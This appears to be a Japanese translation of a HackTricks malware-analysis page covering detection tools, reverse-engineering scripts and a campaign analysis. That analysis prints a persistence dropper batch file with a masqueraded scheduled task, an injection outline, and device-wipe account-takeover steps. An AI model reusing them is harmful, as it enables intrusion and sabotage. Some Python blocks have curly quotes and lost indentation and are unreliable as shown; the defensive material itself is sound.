マルウェア解析

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

フォレンジック チートシート

https://www.jaiminton.com/cheatsheet/DFIR/#

オンラインサービス

オフラインのアンチウイルスと検出ツール

Yara

インストール

sudo apt-get install -y yara

ルールの準備

このスクリプトを使用して github からすべての yara malware rules をダウンロードしてマージします: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules ディレクトリを作成して実行してください。これにより、すべての yara rules を含む malware_rules.yar というファイルが作成されます。

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

スキャン

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: malware をチェックしてルールを作成

バイナリから yara rules を生成するためにツール YaraGen を使用できます。これらのチュートリアルを参照してください: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

インストール

sudo apt-get install -y clamav

スキャン

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa は実行ファイル(PE、ELF、.NET)内の潜在的に悪意のある capabilities を検出します。したがって、Att&ck の戦術や、次のような疑わしい capabilities を検出できます:

  • check for OutputDebugString error
  • run as a service
  • create process

入手は Github repo

IOCs

IOC は Indicator Of Compromise を意味します。IOC は潜在的に不要なソフトウェアや確認済みの malware を識別する一連の条件です。Blue Teams はこの種の定義を使って、自分たちの systemsnetworks 内でこの種の悪意のあるファイルを検索します。
これらの定義を共有することは非常に有用です。なぜなら、あるコンピュータで malware が確認され、その malware 用の IOC が作成されると、他の Blue Teams がそれを使って malware をより早く特定できるからです。

IOC を作成または変更するツールは IOC Editor.
Redline のようなツールを使用して、デバイス内で定義された IOCs を検索することができます。

Loki

Loki は Simple Indicators of Compromise 用のスキャナーです。
検出は四つの検出方法に基づいています:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) は GNU GPLv2 ライセンスで公開された Linux 向けのマルウェアスキャナで、共有ホスティング環境で直面する脅威を念頭に設計されています。ネットワークエッジの侵入検知システムから得られる脅威データを利用して、実際の攻撃で使用されているマルウェアを抽出し、検出用のシグネチャを生成します。さらに、LMD の checkout 機能によるユーザー提出やマルウェアコミュニティのリソースからも脅威データを取得します。

rkhunter

Tools like rkhunter can be used to check the filesystem for possible rootkits and malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS は、さまざまな手法を用いて実行ファイル内の obfuscated strings を検出しようとするツールです。

PEpper

PEpper checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio は、Windows 実行ファイルの imports, exports, headers といった情報を取得できるツールで、virus total をチェックしたり潜在的な Att&ck techniques を発見したりします。

Detect It Easy(DiE)

DiE は、ファイルが encrypted かどうかを検出し、packers を見つけるツールです。

NeoPI

NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and encrypted content within text/script files. The intended purpose of NeoPI is to aid in the detection of hidden web shell code.

php-malware-finder

PHP-malware-finderobfuscated/dodgy code を検出することを目的とし、また malwares/webshells でよく使われる PHP 関数を使用しているファイルも検出します。

Apple Binary Signatures

何かの malware sample を確認する際は、署名した developer がすでに related with malware. である可能性があるため、バイナリの check the signature を常に行うべきです。

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

検出手法

File Stacking

web server の files を含むあるフォルダが last updated on some date であったことが分かっている場合、web server 内の全てのfilesの作成日と更新日を確認**し、疑わしい日付があればそのファイルを調査する。

Baselines

フォルダ内のファイルが shouldn’t have been modified はずであれば、フォルダ内の original fileshash を計算して現在のものと compare する。変更されているものは suspicious となる。

Statistical Analysis

情報がログに保存されている場合、check statistics like how many times each file of a web server was accessed as a web shell might be one of the most のような統計を確認できる(例えば web shell が最も多くアクセスされているファイルの一つかもしれない)。


Android アプリ内ネイティブテレメトリ(no root)

Android では、他の JNI ライブラリが初期化される前に小さなロガーライブラリをプリロードすることで、ターゲットアプリプロセス内のネイティブコードにインストルメントを仕込み、system-wide hooks や root を使わずにネイティブの挙動を早期に可視化できます。一般的なアプローチは SoTap:適切な ABI 向けの libsotap.so を APK に配置し、早い段階(例:static initializer や Application.onCreate)で System.loadLibrary(“sotap”) を挿入し、内部/外部パスや Logcat を用いてログを収集する、というものです。

セットアップ詳細とログパスについては Android native reversing ページを参照してください:

Reversing Native Libraries


Android/JNI ネイティブ文字列の難読化解除(angr + Ghidra)

一部の Android マルウェアや RASP 保護されたアプリは、RegisterNatives を呼ぶ前にランタイムで JNI メソッド名やシグネチャをデコードして隠します。Frida/ptrace によるインストルメンテーションが anti-debug によって阻止される場合でも、バイナリ内のデコーダを angr で実行して平文をオフラインで復元し、その結果を Ghidra にコメントとして取り込むことができます。

重要な考え方:.so 内のデコーダを呼び出し可能な関数として扱い、.rodata にある難読化されたバイト列に対してそれを実行し、最初の \x00(C-文字列終端)までの出力バイトを具象化する。angr と Ghidra は同じ image base を使ってアドレス不一致を避ける。

ワークフロー概要

  • Ghidra でのトリアージ:JNI_OnLoad および RegisterNatives のセットアップ内で、デコーダとその呼び出し規約/引数を特定する。
  • angr(CPython3)を使って各ターゲット文字列に対してデコーダを実行し、結果をダンプする。
  • Ghidra に注釈付け:各呼び出し箇所にデコード済み文字列を自動コメントとして付け、JNI の復元を高速化する。

Ghidra トリアージ(JNI_OnLoad パターン)

  • JNI datatypes を JNI_OnLoad に適用して Ghidra が JNINativeMethod 構造を認識するようにする。
  • Oracle のドキュメントにある典型的な JNINativeMethod:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • RegisterNatives の呼び出しを探す。ライブラリが name/signature をローカルルーチン(例:FUN_00100e10)で構築し、そのルーチンが静的バイトテーブル(例:DAT_00100bf4)を参照し、(encoded_ptr, out_buf, length) のようなパラメータを取る場合、オフライン実行の理想的なターゲットになる。

angr セットアップ(オフラインでデコーダを実行)

  • Ghidra で使っているのと同じ base で .so をロードする(例:0x00100000)。外部ライブラリの自動ロードを無効にして状態を小さく保つ。
angr セットアップとオフラインデコーダ実行 ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- 大規模に行う場合は、call sites とデコーダの引数 (encoded_ptr, size) の静的マップを構築します。ラッパーにより引数が隠される場合があるため、API recovery がノイズが多い場合は Ghidra xrefs から手動でこのマッピングを作成することがあります。

<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ghidraで呼び出し箇所に注釈を付ける Option A: Jython-only comment writer (use a pre-computed JSON)

  • angrがCPython3を必要とするため、deobfuscationとannotationは分けて行ってください。まず上のangrスクリプトを実行してdecoded_strings.jsonを生成してください。次にこのJython GhidraScriptを実行して各呼び出し箇所にPRE_COMMENTsを記入します(コンテキストとして呼び出し元関数名も含めます):
Ghidra Jythonスクリプト to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- 代替案として、pyhidra や ghidra_bridge を使って angr を実行している同じ CPython プロセスから Ghidra の API を駆動します。これにより decode_string() を呼び出して中間ファイルなしにすぐに PRE_COMMENTs を設定できます。ロジックは Jython スクリプトと同様で、ReferenceManager を使って callsite→function マップを構築し、angr でデコードしてコメントを設定します。

Why this works and when to use it
- オフライン実行は RASP/anti-debug を回避します: 文字列を復元するために ptrace や Frida フックは不要です。
- Ghidra と angr の base_addr を揃えておく(例: 0x00100000)ことで、関数/データのアドレスがツール間で一致します。
- デコーダ用の再現可能な手順: 変換を純粋関数とみなし、新しい state に出力バッファを割り当て、(encoded_ptr, out_ptr, len) で呼び出し、state.solver.eval で具体化して \x00 までの C-strings を解析します。

Notes and pitfalls
- 対象の ABI/呼び出し規約を尊重してください。angr.factory.callable は arch に基づいて選択します; 引数がずれているように見える場合は cc を明示してください。
- デコーダがゼロ初期化された出力バッファを期待する場合は、呼び出し前に state 内で outbuf をゼロで初期化してください。
- 位置独立の Android .so では、angr のアドレスが Ghidra で見えるものと一致するように常に base_addr を渡してください。
- アプリがデコーダを薄いスタブでラップしている場合でも、currentProgram.getReferenceManager() を使って call-xrefs を列挙してください。

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. ディスパッチャーのバイトコードを抽出する

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Unicornでそれを2回エミュレートする

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

run(code,0,0)run(code,1,1) を実行して、false および true ブランチのターゲットを取得します。

4. direct jump / call をパッチで元に戻す

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

パッチ適用後、IDAに関数を強制的に再解析させて、完全なCFGとHex-Raysの出力を復元します:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. 間接API呼び出しにラベルを付ける

すべての call rax の実際の宛先が判明したら、IDAにそれを伝えることでパラメータ型と変数名が自動的に復元されます:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

実用的な利点

  • 実際の CFG を復元する → 逆コンパイルは 10 行から数千行に増える。
  • Enables string-cross-reference & xrefs、動作の再構築が容易になる。
  • スクリプトは再利用可能: 同じトリックで保護された任意の loader にドロップできる。

AutoIt-based loaders: .a3x の復号、Task Scheduler masquerade と RAT injection

この侵入パターンは、署名付き MSI、.a3x にコンパイルされた AutoIt loaders、および正当なアプリを装う Task Scheduler ジョブを連鎖させる。

MSI → カスタムアクション → AutoIt オーケストレーター

MSI のカスタムアクションによって実行されるプロセスツリーとコマンド:

  • MsiExec.exe → cmd.exe to run install.bat
  • WScript.exe(デコイのエラーダイアログを表示)
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (loaderをドロップし、persistenceを設定し、self-cleansする):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (ユーザーの囮):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • AutoIt3.exe と IoKlTr.au3 を C:\Users\Public\Music にドロップする
  • schtasks.exe を hwpviewer.exe としてコピーする(Hangul Word Processor viewer を偽装)
  • 毎分実行されるスケジュールタスク “IoKlTr” を作成する
  • Startup LNK は Smart_Web.lnk として確認される; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • %APPDATA%\Google\Browser\ のサブフォルダ(adb または adv を含む)にモジュールをステージし、autoit.vbs/install.bat のヘルパー経由で起動する

Forensic triage tips:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Look for renamed copies of schtasks.exe co-located with Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Common paths: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • プロセス生成を相関付ける: AutoIt3.exe が正規の Windows バイナリ(例:cleanmgr.exe、hncfinder.exe)を生成しているか確認する

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt モジュールは #AutoIt3Wrapper_Outfile_type=a3x でコンパイルされ、埋め込まれたペイロードを復号してから正規プロセスにインジェクトする。
  • 観測されたファミリ: QuasarRAT(hncfinder.exe にインジェクト)、RftRAT/RFTServer(cleanmgr.exe にインジェクト)、および RemcosRAT モジュール(Remcos\RunBinary.a3x)。
  • 復号パターン: HMAC で AES キーを導出し、埋め込まれたブロブを復号して、平文のモジュールをインジェクトする。

汎用復号スケルトン(正確な HMAC 入力/アルゴリズムはファミリ固有):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • ターゲットホストの CreateProcess (suspended) を実行(例: cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory で復号済みモジュール/シェルコードを書き込む
  • CreateRemoteThread または QueueUserAPC でペイロードを実行

Hunting ideas

  • AutoIt3.exe が MsiExec.exe または WScript.exe に親プロセスとしてつながり、system utilities を起動している
  • 公開/ユーザー書き込み可能なパス下にある .a3x 拡張子のファイルや AutoIt スクリプトランナー
  • AutoIt3.exe を実行する、または Microsoft によって署名されていないバイナリを実行する疑わしい scheduled task。分単位のトリガーを持つもの

Account-takeover abuse of Android Find My Device (Find Hub)

Windows 侵害の過程で、オペレータは盗用した Google 資格情報を使い、被害者の Android デバイスを繰り返し初期化(ワイプ)して通知を抑制し、被害者のログイン済みデスクトップメッセンジャー経由でアクセスを拡大していました。

Operator steps (from a logged-in browser session):

  • Google Account → Security → Your devices を確認し、Find My Phone → Find Hub (https://www.google.com/android/find) を開く
  • デバイスを選択 → Google パスワードを再入力 → “Erase device”(工場出荷時リセット)を実行;回復を遅らせるために繰り返す
  • 任意:リンクされたメールボックス(例: Naver)内のアラートメールを削除してセキュリティ通知を隠す

AdaptixC2: Configuration Extraction and TTPs

専用ページを参照:

Adaptixc2 Config Extraction And Ttps

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする